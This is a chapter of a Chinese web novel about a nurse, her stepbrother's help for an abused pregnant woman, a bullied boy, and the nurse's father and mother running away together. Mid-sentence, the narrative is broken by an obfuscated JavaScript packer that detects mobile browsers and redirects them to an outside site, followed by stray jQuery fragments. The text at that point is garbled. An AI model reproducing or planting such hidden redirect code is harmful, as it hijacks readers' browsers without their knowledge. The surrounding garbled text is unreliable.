9. 第 9 章

作品:《中国结

    早上交班后,路过手机店,柳漾买了一只新手机。她对手机要求不高,能接打电话、上网就行。


    手机没送出去,秦飞丢给冯鹃,扯谎说是客户送的。他工作时每天都跟手机打交道,冯鹃相信了,但这手机太高端,不如拿去便宜点卖了:“查下网上卖多少钱,我便宜个两百块卖出去。”


    秦飞说:“你自己用。”


    冯鹃说:“我每天吃了睡,睡了忙,利用率不高。”


    秦飞退掉手机,到了工作时间,他联系阿豹媳妇的表姐程惠敏,程惠敏的第一反应是:“她想离婚吗?”


    秦飞费解:“都这样还不离婚吗?”


    程惠敏说:“向我们妇联求助的大部分女人都不想离婚,而是希望我们能帮她教育她老公不打她。只要不打她,她们就能一直待在家里,洗衣服做饭生伢带伢。”


    身体健康的人都有谋生的能力,但有些人太害怕到社会上参与竞争。秦飞说:“曹燕林有工作的意愿。”


    “那就好。”妇联有免费法律咨询服务,但秦飞是表妹夫的好友,程惠敏找了一位同事联系曹燕林,她们建议曹燕林找医生开具就诊证明,并且报警,在派出所留下备案记录,这样在起诉离婚是有力证据。


    秦飞有点担心曹燕林报警会引来她丈夫再次毒打,但是不报警也被打,只能破釜沉舟,但愿她能有逃离的勇气。


    昨天在医院时,秦飞问到柳漾手机号,加上了微信,向她汇报情况,柳漾回道:“她男人说去借钱,再没回来。”


    秦飞真的在为萍水相逢的女人谋出路,不是说说而已,柳漾刮目相看,但不认为会有结果。


    工作以外的时间,柳漾都用在备考上,再没回过娘家。张玢经常能吃到可口的家常菜,脸色好了些许,但明里暗里仍在催生,柳漾直言不讳:“我是为我自己生孩子,不是给你生孙子。想什么时候生,是我和东哥的事。”


    陈玉兰偶尔会发来一篇养生类文章,柳漾发个笑脸,再未有别的交流,母女俩就这么僵着,互相不服软。


    赵东南惦着买房,又是揽业务,又是做活动,比以往忙了,到家和柳漾说说话,腻上片刻,是他一天中最放松的时候,夫妻俩的感情比热恋时还好。赵捷成背地里教育张玢:“小两口感情好,有些话你不要多说,他们自己有数。”


    柳漾婚后过得前所未有的顺心,她弟弟柳俊杰却不妙了。昔日好友出卖了他,跟他打架的段文轩编了顺口溜嘲笑他:“卖藕汤,炒花饭,家里出个抢劫犯。”


    秦刚是冯鹃的前夫,不关柳俊杰的事,但所有同学都以为修空调的爸当过抢劫犯,越发孤立他,连徐启航都问过。柳俊杰欲哭无泪:“那是我哥的爸,不是我爸,我没见过他。”


    接二连三的嘲讽压下来,柳俊杰变得忧郁,不爱说话,有一天放学回家,家里坐着他爸最好的朋友夏国清。


    夏国清是柳志华的战友,柳俊杰在他们的聚会上见过他。夏国清送过一套乐高玩具,柳俊杰很喜欢,到现在还爱玩。


    夏国清是湖南人,从浏阳赶来做客,送给柳俊杰一只手机,柳志华很不安:“让你过来就是聚一聚,哪能破费?”


    夏国清哈哈笑:“嫂子烧菜好吃,光是这一桌菜,就值得来一趟。现在高铁快,不比以前,说来就来了,可惜都忙,总聚不上。”


    柳俊杰跟夏国清一起玩游戏,半夜夏国清才回酒店休息。第二天早上,柳俊杰眼巴巴等着夏叔叔再来,柳志华却说他工作忙,在回湖南的路上了。柳俊杰问:“所以夏叔叔是专门来看你吗?”


    柳志华说:“看你不高兴,我就找个能让你高兴的朋友陪你玩,而且我也想跟他见个面。”


    柳俊杰高兴道:“等我放暑假,你找个星期六,我们去湖南看夏叔叔!”


    秦飞看柳志华一眼,柳志华不接他的眼神。按柳志华的计划,等到柳俊杰放暑假,他就结束和冯鹃的婚姻,但现下冯鹃和柳俊杰都被蒙在鼓里,冯鹃还跟秦飞夸海口,说做人该争取时要争取,柳志华反复提离婚又怎样,她坚持不离,柳志华不也收心了。


    秦飞说:“他要是哪天再提呢?”


    “哪里有反抗,哪里就有压迫!”冯鹃用花椒和干辣椒炝锅炒花菜,嗤啦一声响。她把柳志华所有证件都扣下了,柳志华不能单方面离婚,更不可能跟陈玉兰领结婚证。


    就算柳志华撕破脸,起诉离婚,也不是一时半会的事,冯鹃在网上查过。起诉离婚需要时间,她立誓用这时间再让柳志华打消念头。哪对夫妻不吵架,哪家离婚不闹翻天,大多数不也黏黏糊糊,拖一天过一天吗?生活里特别干脆决断的人是极少数,柳志华不是那样的人,她清楚得很。


    柳志华跟儿子聊起夏国清,夏国清当兵复员后,落实在老家的花炮厂,中间有些年花炮厂效益不好,夏国清下了岗,找了个车行修车,还干过出租车司机。


    去年,夏国清被一家礼炮厂高新聘去当总工程师,柳志华教育柳俊杰,人生就是这样起起落落,即使钻到车子底下弄得浑身黑污,也不能被别人的嘲笑打倒,保持信念,咬紧牙关过日子,总有翻身的一天。


    柳俊杰一知半解:“爸爸在劝我不要在意别人说什么。”


    柳志华问:“做不做得到?”


    “但是夏叔叔没有抢劫。”柳俊杰仍然很低落,秦飞站在阳台上不说话。冯鹃嫌自己身上油烟气太重,在阳台养了各种香花,他摘了十几朵新鲜的栀子花,想送给蒋馨月。


    夏国清买给柳俊杰的是最普通的老人手机,免得他上课玩游戏,柳俊杰在通讯录里输入爸妈和哥哥的手机号,秦飞递他一瓶可乐:“那是我爸,不是你爸,我爸捅了人,我在学校也受过歧视,但我也考上大学了。你考出好成绩,才能让他们闭嘴,懂吗?”


    柳俊杰哦了一声,闷头做作业。秦飞出门,路上接到妇联程惠敏的电话。孕妇曹燕林行动不方便,妇联工作人员趁她婆婆出去买菜,丈夫躲债不在家的时候,才上门去了解她的具体情况,不料婆婆提前回来了。


    婆婆当着律师的面客客气气,门一关就喊回了儿子。曹燕林被丈夫打得流产,又被送去617医院。孩子没保住,她哭了,然后笑了,抚养一个孩子对她可能略微容易点。


    死去的胎儿已能看到性别,是女孩。婆婆和丈夫不怪曹燕林了,婆婆还买来鸡汤,给她补补身子,以后再生个大胖小子。


    柳漾冷眼旁观,等婆婆去上厕所,她问曹燕林:“怎么想的?”


    曹燕林怯怯说:“律师说我能打赢官司,我想通了,只要姑娘归我,我就离。程姐说会帮我安排工作,让我自食其力。柳姐,你说我能胜任吗?我以前没上过班,初中都没读完。”


    “有的残疾人还看不见呢,做按摩也赚到钱了。”柳漾本想把曹燕林的近况跟秦飞说一下,但妇联的人是他找的,他肯定知道。她把手机揣进兜里,给一个快递小哥抽血。


    快递小哥抽血发现严重肝损,医生建议化验看看具体情况,同时保肝处理,小哥不干:“我就是来看个咳嗽。”


    医生说:“这不是小毛病,早治早好。”


    小哥说:“先赚钱,赚钱治病。”


    看不起病的太多了,但仅凭一己之力,救不过来。柳漾叹气,在急诊中心,她一天不知要叹多少气。


    一周后,秦飞向柳漾通报曹燕林近况,在妇联的帮助下,曹燕林已起诉离婚,妇联安排她带着女儿搬进制衣厂宿舍,同屋的几个女工都有点小残疾,轮流帮她替个手。


    制衣厂的销路不错,曹燕林目前的工作只是最简单的剪线头,妇联想等她情绪稳定下来,度过适应期,再让她接受培训,获得收入。


    柳漾没回秦飞的信息,看过就算,心里很安慰。据说十个离婚案子里,至少有一半当事人扔下律师继续过日子,连她妈都是,宁可和女儿翻脸,也要和出过轨的前夫复婚,但曹燕林再胆怯,也迈出了勇敢的一步。


    期末考试,柳俊杰最拿手的数学考砸了,交卷铃声响起,他最后一道大题还是没做出来,沮丧得快哭了,他说段文轩等人笑他考得再好也没用,将来照样会当抢劫犯。


    冯鹃抄起锅铲,骂着婊./子养的,要去揍段文轩,被秦飞拉住了。听说柳志华拿夏国清的经历教育柳俊杰,冯鹃啐一口:“教育反了!”


    冯鹃拉着柳俊杰去小区门口,隔了一点距离,她指着守门的李师傅说:“他以前在武钢当工程师,你看不出来吧?我年轻时,武钢是有名的好单位,有多好呢,吃的穿的都是厂里发放,逢年过节,他们排队领鸡鸭鱼肉,队伍要从青山排到我家。”


    柳俊杰惊叹:“那么好啊?”


    冯鹃说:“天气热,厂里怕工人中暑,还专门开个工厂生产汽水,平时上班随便喝,下班还一箱一箱往家里搬。现在也没几个单位有这么好的待遇吧?”


    这一点对柳俊杰有莫大的吸引力:“敞开喝啊?”


    “想喝多少喝多少。李师傅那时候就跟段文轩一样横着走,结果呢,还不是下了岗,跑来看大门。段文轩家里再有钱,未必能一生都有钱,以后当抢劫犯的指不定是哪个。”冯鹃摸摸柳俊杰的头,“你爸爸妈妈都是凭本事吃饭,穷是穷了点,但是杰杰争气,以后也能敞开喝汽水。”


    冯鹃的精神胜利法对柳俊杰更有效,柳俊杰使劲点头,回家对秦飞说:“抢劫犯是你爸,你受的欺负肯定比我多。”


    秦飞爆句粗口:“你听进去了,你就中计了,你越考得好,他们越气。你想啊,你在游戏里打不过别人,你才骂人,他们也一样。”


    “懂了!”柳俊杰跑去复习语文,夜里柳志华回家,他还没睡,一双眼睛亮亮的,“爸爸,我把语文和英语都考好,总分就扯回来


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563464|171426||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了!”


    柳俊杰考完试,秦飞去学校接他,特地堵住段文轩,对他晃拳头,凶神恶煞:“抢劫犯是我爸,进去了,我妈才改嫁,跟别人生了柳俊杰,听懂了吗?再敢讲柳俊杰的坏话,莫怪我打你。反正我爸进去了,我也不怕进去。”


    段文轩求饶,秦飞塞给他一只扩音喇叭:“给柳俊杰道歉。”


    秦飞初见柳漾,她手上拎着扩音喇叭,给他留下印象,他来个照猫画虎,抓着段文轩的手按开开关:“道歉。”


    段文轩大哭道:“柳俊杰,我再也不打你,不骂你,也不惹你了!”


    柳俊杰拿到暑假作业,背着书包跑来,夺过扩音喇叭说:“你没打赢过我,你以多打少,段文轩,你不要脸,不要脸,不要脸——”


    柳俊杰怒吼,秦飞乐坏了:“傻子,这个有录音功能,不用扯着嗓子喊那么多遍。”


    柳俊杰喊出来,畅快了,请他哥吃贵的冰淇淋。他这次数学没考好,前面有四个同学超过他,但语文发挥得比较好,总分估计还可以。


    兄弟俩吃着冰淇淋回了家,隔了几天,柳俊杰回学校拿到分数,总分在班里排第八,主要是英语有点拖后腿。冯鹃盘算等柳志华半年奖到手,给柳俊杰报个补习班,班里的同学都报了班,明年就小升初了,不开小灶不行。


    柳志华说公司效益不好,半年奖可能发不出来,冯鹃眼睛一瞪:“今年热,四月底就有人用空调,你每天半夜才回来,效益不好?骗鬼!”


    “工资卡都在你那里,你都存着了,杰杰补习就用卡里的钱。”柳志华让冯鹃不要指望半年奖,而且以后也不要指望他,他离婚离定了,往后给不了她什么了。


    冯鹃一听就炸了,对他又掐又打,但柳俊杰打完电动回来,她脸一抹,笑眯眯问儿子想吃什么,考进前十名,必须犒劳。


    柳志华出门去买柳俊杰想吃的炸鸡和海鲜,还批了一箱可乐,秦飞也被喊回来吃饭,他拎着红丝绒蛋糕进屋,博得柳俊杰和冯鹃齐声喝彩。冯鹃50岁生日时,秦飞订了这家蛋糕,一家人都赞不绝口。


    两天后,秦飞给柳漾打去电话。柳漾吃完午饭就睡下了,被电话吵醒,迷迷糊糊地按掉了,但铃声马上又响起来,她接起:“烦不烦啊?”


    秦飞通报了坏消息,柳志华和陈玉兰双双辞职,不告而别。柳漾脑子一懵:“辞职了?”


    秦飞说:“我妈说这叫私奔。”


    冯鹃迟迟拿不到柳志华的半年奖,她怀疑公司已经发放了,但被柳志华拿给陈玉兰了,打电话去公司问,得知柳志华居然办了辞职手续,三天前就没去上班了。他同事还说:“老柳女儿嫁去外地了,他和他老婆跟去享福,但是证件丢了,找单位打了证明,你不是他老婆吗?”


    冯鹃大怒,打电话质问柳志华,刚逼问他为什么辞职,柳志华就挂电话了,再打,他不接了。冯鹃发的信息,他也不回,再打电话,他关机了。


    冯鹃火冒三丈,杀到陈玉兰家,大门紧锁,找去货运公司一问,陈玉兰的同事也说她辞职了,冯鹃找他们要了陈玉兰的手机号,也是关机。


    柳漾拨打陈玉兰的手机,果然传来关机的语音提示。这之前,陈玉兰平平静静,隔三差五就转发几篇文章让她看,没有透露半个字。


    柳漾回家找她妈,家里收拾得很干净,拉开衣柜,少了几件衣服,鞋柜里,陈玉兰常穿的鞋不见了。柳漾在自己卧室的枕头上找到陈玉兰留的字条:“我和你爸旅游散心去了,你和东南好好过日子,勿念。”


    父母把所有人都瞒得严严实实,一走了之,冯鹃不答应离婚,两人难不成私奔到天涯海角,永不归来?柳漾在床上坐了一阵,打开台式电脑,购买火车票的网站是她帮陈玉兰注册的,她知道密码。


    陈玉兰购买了上午从武昌开出去桂林的火车票,全程11个多小时,她买的是硬座,此时身在火车上。柳志华老家在团风县,陈玉兰家在新洲区,都在武汉市区边上,柳漾不明白两人私奔为什么会去桂林,她回忆她爸妈是否有广西籍的熟人,但想不起来。


    秦飞再打来电话,柳漾说:“我妈留字条说他们旅游去了。”


    秦飞问:“去哪里了?”


    “她没说。”陈玉兰闷声不响地走了,是不想再听到任何反对声吧,柳漾攥紧字条,她没什么好说的了。


    结婚前一天晚上,陈玉兰说:“你出嫁了,就是别人家的人了,以后我和你爸不会给你添麻烦。”


    什么叫别人家的人?柳漾很不爱听,但母女之间很少有那样深入长谈的时刻,她忍了。此时回想起来,其实陈玉兰早就一次次为女儿做过心理建设了,她反复说过,女儿结婚有小家庭了,妈妈就该淡出了。


    秦飞着急道:“现在怎么办?”


    柳漾气呼呼:“不管他们了,老子要是再管他们,老子就是贱死的。”